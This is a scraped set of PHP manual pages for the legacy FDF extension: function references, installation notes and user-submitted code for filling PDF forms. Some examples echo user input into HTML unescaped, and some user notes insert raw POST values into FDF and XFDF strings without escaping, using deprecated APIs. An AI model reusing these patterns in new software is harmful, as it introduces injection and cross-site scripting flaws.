    • GnuPG Functions
  • haru — Haru PDF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Builtin Fonts And Encodings
    • HaruException — The HaruException class
    • HaruDoc — The HaruDoc class
    • HaruPage — The HaruPage class
    • HaruFont — The HaruFont class
    • HaruImage — The HaruImage class
    • HaruEncoder — The HaruEncoder class
    • HaruOutline — The HaruOutline class
    • HaruAnnotation — The HaruAnnotation class
    • HaruDestination — The HaruDestination class
  • Ming — Ming (flash)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Ming Functions
    • SWFAction — The SWFAction class
    • SWFBitmap — The SWFBitmap class
    • SWFButton — The SWFButton class
    • SWFDisplayItem — The SWFDisplayItem class
    • SWFFill — The SWFFill class
    • SWFFont — The SWFFont class
    • SWFFontChar — The SWFFontChar class
    • SWFGradient — The SWFGradient class
    • SWFMorph — The SWFMorph class
    • SWFMovie — The SWFMovie class
    • SWFPrebuiltClip — The SWFPrebuiltClip class
    • SWFShape — The SWFShape class
    • SWFSound — The SWFSound class
    • SWFSoundInstance — The SWFSoundInstance class
    • SWFSprite — The SWFSprite class
    • SWFText — The SWFText class
    • SWFTextField — The SWFTextField class
    • SWFVideoStream — The SWFVideoStream class
  • PDF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PDF Functions
  • PS — PostScript document creation
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • PS Functions
  • RPM Reader — RPM Header Reading
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • RPM Reader Functions
  • SWF — Shockwave Flash
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • SWF Functions

User Contributed Notes

There are no user contributed notes for this page.
stats_variance
FDF
Function Reference


Forms Data Format

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • FDF Functions
    • fdf_add_doc_javascript — Adds javascript code to the FDF document
    • fdf_add_template — Adds a template into the FDF document
    • fdf_close — Close an FDF document
    • fdf_create — Create a new FDF document
    • fdf_enum_values — Call a user defined function for each document value
    • fdf_errno — Return error code for last fdf operation
    • fdf_error — Return error description for FDF error code
    • fdf_get_ap — Get the appearance of a field
    • fdf_get_attachment — Extracts uploaded file embedded in the FDF
    • fdf_get_encoding — Get the value of the /Encoding key
    • fdf_get_file — Get the value of the /F key
    • fdf_get_flags — Gets the flags of a field
    • fdf_get_opt — Gets a value from the opt array of a field
    • fdf_get_status — Get the value of the /STATUS key
    • fdf_get_value — Get the value of a field
    • fdf_get_version — Gets version number for FDF API or file
    • fdf_header — Sets FDF-specific output headers
    • fdf_next_field_name — Get the next field name
    • fdf_open_string — Read a FDF document from a string
    • fdf_open — Open a FDF document
    • fdf_remove_item — Sets target frame for form
    • fdf_save_string — Returns the FDF document as a string
    • fdf_save — Save a FDF document
    • fdf_set_ap — Set the appearance of a field
    • fdf_set_encoding — Sets FDF character encoding
    • fdf_set_file — Set PDF document to display FDF data in
    • fdf_set_flags — Sets a flag of a field
    • fdf_set_javascript_action — Sets an javascript action of a field
    • fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF
    • fdf_set_opt — Sets an option of a field
    • fdf_set_status — Set the value of the /STATUS key
    • fdf_set_submit_form_action — Sets a submit form action of a field
    • fdf_set_target_frame — Set target frame for form display
    • fdf_set_value — Set the value of a field
    • fdf_set_version — Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.
Non-Text MIME Output
Introduction
Non-Text MIME Output


Introduction

Forms Data Format (FDF) is a format for handling forms within PDF documents. You should read the documentation at » http://www.adobe.com/devnet/acrobat/fdftoolkit.html for more information on what FDF is and how it is used in general.

The general idea of FDF is similar to HTML forms. The difference is basically the format how data is transmitted to the server when the submit button is pressed (this is actually the Form Data Format) and the format of the form itself (which is the Portable Document Format, PDF). Processing the FDF data is one of the features provided by the fdf functions. But there is more. One may as well take an existing PDF form and populated the input fields with data without modifying the form itself. In such a case one would create a FDF document (fdf_create()) set the values of each input field (fdf_set_value()) and associate it with a PDF form (fdf_set_file()). Finally it has to be sent to the browser with MimeType application/vnd.fdf. The Acrobat reader plugin of your browser recognizes the MimeType, reads the associated PDF form and fills in the data from the FDF document.

If you look at an FDF-document with a text editor you will find a catalogue object with the name FDF. Such an object may contain a number of entries like Fields, F, Status etc.. The most commonly used entries are Fields which points to a list of input fields, and F which contains the filename of the PDF-document this data belongs to. Those entries are referred to in the FDF documentation as /F-Key or /Status-Key. Modifying this entries is done by functions like fdf_set_file() and fdf_set_status(). Fields are modified with fdf_set_value(), fdf_set_opt() etc..

User Contributed Notes

There are no user contributed notes for this page.
FDF
Installing/Configuring
FDF


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
FDF


Requirements

You need the FDF toolkit SDK available from » http://www.adobe.com/devnet/acrobat/fdftoolkit.html. As of PHP 4.3.0 you need at least SDK version 5.0. The FDF toolkit library is available in binary form only, platforms supported by Adobe are Win32, Linux, Solaris and AIX.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/fdf.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0

Note: If you run into problems configuring PHP with fdftk support, check whether the header file fdftk.h and the library libfdftk.so are at the right place. The configure script supports both the directory structure of the FDF SDK distribution and the usual DIR/include / DIR/lib layout, so you can point it either directly to the unpacked distribution directory or put the header file and the appropriate library for your platform into e.g. /usr/local/include and /usr/local/lib and configure with --with-fdftk=/usr/local .

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: fdftk.dll

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

Most fdf functions require a fdf resource as their first parameter. A fdf resource is a handle to an opened fdf file. fdf resources may be obtained using fdf_create(), fdf_open() and fdf_open_string().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FDFValue (integer)
FDFStatus (integer)
FDFFile (integer)
FDFID (integer)
FDFFf (integer)
FDFSetFf (integer)
FDFClearFf (integer)
FDFFlags (integer)
FDFSetF (integer)
FDFClrF (integer)
FDFAP (integer)
FDFAS (integer)
FDFAction (integer)
FDFAA (integer)
FDFAPRef (integer)
FDFIF (integer)
FDFEnter (integer)
FDFExit (integer)
FDFDown (integer)
FDFUp (integer)
FDFFormat (integer)
FDFValidate (integer)
FDFKeystroke (integer)
FDFCalculate (integer)
FDFNormalAP (integer)
FDFRolloverAP (integer)
FDFDownAP (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
FDF


Examples

The following examples shows just the evaluation of form data.

Example #1 Evaluating a FDF document

<?php
// Open fdf from input string provided by the extension
// The pdf form contained several input text fields with the names
// volume, date, comment, publisher, preparer, and two checkboxes
// show_publisher and show_preparer.
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "The volume field has the value '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "The date field has the value '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "The comment field has the value '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
  $publisher = fdf_get_value($fdf, "publisher");
  echo "The publisher field has the value '<b>$publisher</b>'<br />";
} else
  echo "Publisher shall not be shown.<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
  $preparer = fdf_get_value($fdf, "preparer");
  echo "The preparer field has the value '<b>$preparer</b>'<br />";
} else
  echo "Preparer shall not be shown.<br />";
fdf_close($fdf);
?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
FDF Functions
FDF


FDF Functions

Table of Contents

  • fdf_add_doc_javascript â€” Adds javascript code to the FDF document
  • fdf_add_template â€” Adds a template into the FDF document
  • fdf_close â€” Close an FDF document
  • fdf_create â€” Create a new FDF document
  • fdf_enum_values â€” Call a user defined function for each document value
  • fdf_errno â€” Return error code for last fdf operation
  • fdf_error â€” Return error description for FDF error code
  • fdf_get_ap â€” Get the appearance of a field
  • fdf_get_attachment â€” Extracts uploaded file embedded in the FDF
  • fdf_get_encoding â€” Get the value of the /Encoding key
  • fdf_get_file â€” Get the value of the /F key
  • fdf_get_flags â€” Gets the flags of a field
  • fdf_get_opt â€” Gets a value from the opt array of a field
  • fdf_get_status â€” Get the value of the /STATUS key
  • fdf_get_value â€” Get the value of a field
  • fdf_get_version â€” Gets version number for FDF API or file
  • fdf_header â€” Sets FDF-specific output headers
  • fdf_next_field_name â€” Get the next field name
  • fdf_open_string â€” Read a FDF document from a string
  • fdf_open â€” Open a FDF document
  • fdf_remove_item â€” Sets target frame for form
  • fdf_save_string â€” Returns the FDF document as a string
  • fdf_save â€” Save a FDF document
  • fdf_set_ap â€” Set the appearance of a field
  • fdf_set_encoding â€” Sets FDF character encoding
  • fdf_set_file â€” Set PDF document to display FDF data in
  • fdf_set_flags â€” Sets a flag of a field
  • fdf_set_javascript_action â€” Sets an javascript action of a field
  • fdf_set_on_import_javascript â€” Adds javascript code to be executed when Acrobat opens the FDF
  • fdf_set_opt â€” Sets an option of a field
  • fdf_set_status â€” Set the value of the /STATUS key
  • fdf_set_submit_form_action â€” Sets a submit form action of a field
  • fdf_set_target_frame â€” Set target frame for form display
  • fdf_set_value â€” Set the value of a field
  • fdf_set_version â€” Sets version number for a FDF file

User Contributed Notes

bea dot el dot tea at gmail dot com 17-Aug-2011 09:01
If you can't get the php_fdf.dll working in PHP 5.3 on Windows, one possible work around is to use the activeX version from the "FDF Toolkit for Windows" from the Adobe website.  Here is part of a class I built for one of my projects.

<?php
class FDF{
    public $NormalAP = 0;
    public $RolloverAP = 1;
    public $DownAP = 2;

    protected $fdf;

    public function __construct(){
        $com = new COM('FdfApp.FdfApp');
        $this->fdf = $com->FDFCreate();
    }
    public function setFile($fileName){
        $this->fdf->FDFSetFile(str_replace(' ', '%20', $fileName));
    }
    public function setValue($name, $value){
        $this->fdf->FDFSetValue($name, $value, true);
    }
    public function setAP($field, $whichFace, $fileName, $pageNumber){
        $this->fdf->FDFSetAP($field, $whichFace, $fileName, $pageNumber);
    }
    public function savetoFile($saveFileName){
        $this->fdf->FDFSavetoFile($saveFileName);
    }
    public function close(){
        $this->fdf->FDFclose();
    }
}
?>
info at theindigoworks dot com 12-Jul-2007 08:49
re. g8z at yahoo dot com 18-Oct-2004 06:46

I think there is a line missing in

foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

I have changed it to read

 $key = addcslashes($key, "\n\r\t\\()");
$value = addcslashes($value, "\n\r\t\\()");
   $fdf .= "<< /T ($key) /V /$value >> \n";

Now all the check boxes and radio buttons are populated, not just the last one in the form as was happening before.
wesley_grant at yahoo dot com 11-Jan-2006 03:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us 19-Oct-2005 08:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
03-May-2005 01:08
Use "Yes" instead of "On" to populate checkboxes.
g8z at yahoo dot com 17-Oct-2004 11:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

    foreach ($strings as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $value = addcslashes($value, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V ($value) >> \n";
    }
    foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

    $fdf .= "]\n/F ($pdffile) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}

// Fill in text fields
$strings = array(
    'date' => '10/17/2004',
    'full_name' => 'Joe Doe',
    'phone_num' => '123-4567',
    'company' => 'ACME Widgets',
    'amount' => 'USD 100.00'
    );

// Fill in check boxes/radio buttons
$keys = array('
    gender' => 'male',//radio button
    'is_adult' => 'Off',//checkbox
    'urgent' => 'On'//checkbox
    );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com 07-Oct-2004 11:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
ronsantiago at hotmail dot com 02-Oct-2004 09:18
Use these functions instead if you want to create an FDF file without installing the FDF toolkit. You would use it the same way as the fdf_* functions. BTW, I only wrote the basic library functions for creating FDFs.

define('ntk_FDFValue', 0);
define('ntk_FDFStatus', 1);
define('ntk_FDFFile', 2);
define('ntk_FDFID',    3);
define('ntk_FDFFf',    5);
define('ntk_FDFSetFf', 6);
define('ntk_FDFClearFf', 7);
define('ntk_FDFFlags', 8);
define('ntk_FDFSetF', 9);
define('ntk_FDFClrF',    10);
define('ntk_FDFAP',    11);
define('ntk_FDFAS',    12);
define('ntk_FDFAction',    13);
define('ntk_FDFAA',    14);
define('ntk_FDFAPRef', 15);
define('ntk_FDFIF',    16);
define('ntk_FDFEnter', 0);
define('ntk_FDFExit',    1);
define('ntk_FDFDown',    2);
define('ntk_FDFUp',    3);
define('ntk_FDFFormat',    4);
define('ntk_FDFValidate',    5);
define('ntk_FDFKeystroke', 6);
define('ntk_FDFCalculate', 7);
define('ntk_FDFNormalAP',    1);
define('ntk_FDFRolloverAP',    2);
define('ntk_FDFDownAP',    3);

function ntk_fdf_header() {
  header('Content-type: application/vnd.fdf');
}

function ntk_fdf_create() {
  $fdf['header'] = "%FDF-1.2\n%‚„œ”\n1 0 obj \n<< /FDF ";
  $fdf['trailer'] = ">>\nendobj\ntrailer\n<<\n/Root 1 0 R \n\n>>\n%%EOF";

  return $fdf;
}

function ntk_fdf_close(&$fdf) {
  unset($fdf);
}

function ntk_fdf_set_file(&$fdf, $pdfFile) {
  $fdf['file'] = $pdfFile;
}

function ntk_fdf_set_target_frame(&$fdf, $target) {
  $fdf['target'] = $target;
}

function ntk_fdf_set_value(&$fdf, $fieldName, $fieldValue) {
  $fdf['values'] = array_merge($fdf['values'], array($fieldName => $fieldValue));
}

function ntk_fdf_add_doc_javascript(&$fdf, $scriptName, $script) {
  $fdf['docscripts'] = array_merge($fdf['docscripts'], array($scriptName => $script));
}

function ntk_fdf_set_javascript_action(&$fdf, $fieldName, $trigger, $script) {
  $fdf['fieldscripts'] = array_merge($fdf['fieldscripts'], array($fieldName => array($script, $trigger)));
}

function ntk_fdf_save(&$fdf, $fdfFile = null) {
  $search = array('\\', '(', ')');
  $replace = array('\\\\', '\(', '\)');

  $fdfStr = $fdf['header'];

  $fdfStr.= "<< ";

  if(isset($fdf['file'])) {
    $fdfStr.= "/F (".$fdf['file'].") ";
  }

  if(isset($fdf['target'])) {
    $fdfStr.= "/Target (".$fdf['target'].") ";
  }

  if(isset($fdf['docscripts'])) {
    $fdfStr.= "/JavaScript << /Doc [\n";

    // populate the doc level javascripts
    foreach($fdf['docscripts'] as $key => $value) {
      $fdfStr.= "(".str_replace($search, $replace, $key).")(".str_replace($search, $replace, $value).")";
    }

    $fdfStr.= "\n] >>\n";
  }

  if(isset($fdf['values']) || isset($fdf['fieldscripts'])) {
    // field level
    $fdfStr.= "/Fields [\n";

    if(isset($fdf['fieldscripts'])) {
      // populate the field level javascripts
      foreach($fdf['fieldscripts'] as $key => $val) {
        $fdfStr .= "<< /A << /S /JavaScript /JS (".str_replace($search, $replace, $val[0]).") >> /T (".str_replace($search, $replace, $key).") >>\n";
      }
    }

    if(isset($fdf['values'])) {
      // populate the fields
      foreach($fdf['values'] as $key => $value) {
        $fdfStr .= "<< /V (".str_replace($search, $replace, $value).") /T (".str_replace($search, $replace, $key).") >>\n";
      }
    }

    $fdfStr.= "]\n";
  }

  $fdfStr.= ">>";

  $fdfStr.= $fdf['trailer'];

  if($fdfFile) {
    $handle = fopen($fdfFile, 'w');
    fwrite($handle, $fdfStr);
    fclose($handle);
  }
  else {
    echo $fdfStr;
  }
}
m1tk4 at hotmail dot com 30-Jun-2004 10:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com 25-Mar-2004 02:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com 18-Dec-2003 07:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    $search = array('\\', '(', ')');
    $replace = array('\\\\', '\(', '\)');
    foreach ($pdf_data as $key => $val)
    {
        $clean_key = str_replace($search, $replace, $key);
        $clean_val = str_replace($search, $replace, $val);
        $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
    }

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}
mirage at rateaprof dot com 08-May-2003 05:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu 05-Mar-2003 06:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net 19-Jan-2003 08:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De 26-Nov-2002 12:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com 21-Oct-2002 04:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com 02-Aug-2002 11:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
    WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
    any content is spooled to the browser, or the function will fail!

    void output_fdf (string $pdf_file, array $pdf_data)

        $pdf_file:  a string containing a URL path to a PDF file on the
                    server. This PDF MUST exist and contain fields with
                    the names referenced by $pdf_data for this function
                    to work.
        $pdf_data:  an array of any fields in $pdf_file that you want to
                    populate, of the form key=>val; where the field
                    name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

    $fdf = "%FDF-1.2\n%‚„œ”\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    foreach ($pdf_data as $key => $val)
        $fdf .= "<< /V ($val)/T ($key) >> \n";

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    /* Now we display the FDF data which causes Acrobat to start  */

    header ("Content-Type: application/vnd.fdf");
    print $fdf;

}
noah at NOSPAMbrandfidelity dot com 08-Mar-2002 08:26
function parse($file) {
                if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                        return;
                for ($i=0;$i<count($out);$i++) {
                        $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                        $thing = $out[$i][1];
                        if (eregi($pattern,$out[$i][0],$regs)) {
                                $key = $regs[2];
                                $val = $regs[1];
                                $key = preg_replace("/^\s*\(/","",$key);
                                $key = preg_replace("/\)$/","",$key);
                                $key = preg_replace("/\\\/","",$key);
                                $val = preg_replace("/^\s*\(/","",$val);
                                $val = preg_replace("/\)$/","",$val);
                                $matches[$key] = $val;
                        }
                }
                return $matches;
        }
gregDELETETHIS at laundrymat dot tv 21-Dec-2001 03:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%‚„œ”\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
    {
    $fdfdata.="<< /V ($val)/T ($key) >> ";
    }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net 28-Apr-2000 04:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.

<?php
function FDFput($FDFpage){
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
    $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
    $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
    $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo     "<</T ($key) /V (". $val . ")>>\n";
                }
  }
    return $A.$B.$C;
}
?>

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe
Examples
fdf_add_doc_javascript
FDF


Adds javascript code to the FDF document

FDF Functions
fdf_add_template
FDF Functions
PHP Manual

fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_add_doc_javascript — Adds javascript code to the FDF document

Description

bool fdf_add_doc_javascript ( resource $fdf_document , string $script_name , string $script_code )

Adds a script to the FDF, which Acrobat then adds to the doc-level scripts of a document, once the FDF is imported into it.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

script_name

The script name.

script_code

The script code. It is strongly suggested to use \r for linebreaks within the script code.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding JavaScript code to a FDF

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r  return x+1;\r}\r");
fdf_save($fdf);
?>

will create a FDF like this:

%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

User Contributed Notes

There are no user contributed notes for this page.
FDF Functions
fdf_add_template
FDF Functions


Adds a template into the FDF document

fdf_add_doc_javascript
fdf_close
FDF Functions
PHP Manual

fdf_add_template

(PHP 4, PHP 5)

fdf_add_template — Adds a template into the FDF document

Description

bool fdf_add_template ( resource $fdf_document , int $newpage , string $filename , string $template , int $rename )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
fdf_add_doc_javascript
fdf_close
FDF Functions


Close an FDF document

fdf_add_template
fdf_create
FDF Functions
PHP Manual

fdf_close

(PHP 4, PHP 5)

fdf_close — Close an FDF document

Description

void fdf_close ( resource $fdf_document )

Closes the FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

No value is returned.

See Also

  • fdf_open() - Open a FDF document

User Contributed Notes

There are no user contributed notes for this page.
fdf_add_template
fdf_create
FDF Functions


Create a new FDF document

fdf_close
fdf_enum_values
FDF Functions
PHP Manual

fdf_create

(PHP 4, PHP 5)

fdf_create — Create a new FDF document

Description

resource fdf_create ( void )

Creates a new FDF document.

This function is needed if one would like to populate input fields in a PDF document with data.

Return Values

Returns a FDF document handle, or FALSE on error.

Examples

Example #1 Populating a PDF document

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

See Also

  • fdf_close() - Close an FDF document
  • fdf_save() - Save a FDF document
  • fdf_open() - Open a FDF document

User Contributed Notes

jwadhwani at pobox dot com 06-Jun-2006 08:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead 04-Oct-2003 12:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca 10-Aug-2003 05:14
